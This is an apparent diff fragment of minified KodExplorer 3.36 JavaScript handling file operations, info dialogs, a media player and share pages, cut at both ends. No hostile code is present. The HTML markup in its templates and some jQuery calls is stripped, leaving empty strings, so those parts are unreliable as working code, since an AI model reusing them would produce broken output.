o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},v=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},g=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},b=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},y=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var n="info";1==t.length&&(n="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var a="path_info_more",o=LNG.info;1==t.length&&(a="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var n=i.find(".file_md5_loading");if(1==n.length){var t=a(t);t+="&get_md5=1",core.fileInfo(t,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var o=i.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var t=s.createTextRange();t.moveEnd("character",-s.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else s.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},k=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},w=function(e,t){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},N=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},C=function(e,t,i,n){t&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},z=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked"); -t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}z(n)},P=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:o,appEdit:D,appList:P,appAddURL:A,share:p,shareBox:u,setBackground:m,createLink:_,createProject:v,newFile:s,newFolder:r,rname:l,unZip:L,zipDownload:k,zip:w,copy:d,cute:g,info:y,remove:c,cuteDrag:N,copyDrag:C,past:b,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n\n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t=core.pathExt(e),"swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return d(a,t),void 0}return"pdf"==t?(core.fileLink(e,function(i){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(i);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:i}).embed(n)}}),void 0):inArray(core.filetype.doc,t)?(l(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var t=jsonDecode(e);t.name=core.pathThis(n),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){var i='
        '+LNG.unknow_file_tips+"
        "+t+"

        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,t){var i="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(t,i){if(t){"string"==typeof t&&(t=[t]);var a=e("./myPlayer");a.play(t,i)}},d=function(e,t){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e,t)};return{open:t,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e,t){t&&"music"!=t||(t=core.pathExt(e));var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=i[t],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e,t){var i=s(t),n=r(i),d=l(e[0],t);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html,flash",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid,i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/share_editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../share_common/rightMenu","./ui","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../share_common/topbar"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"index.php?share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../share_common/topbar");$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs 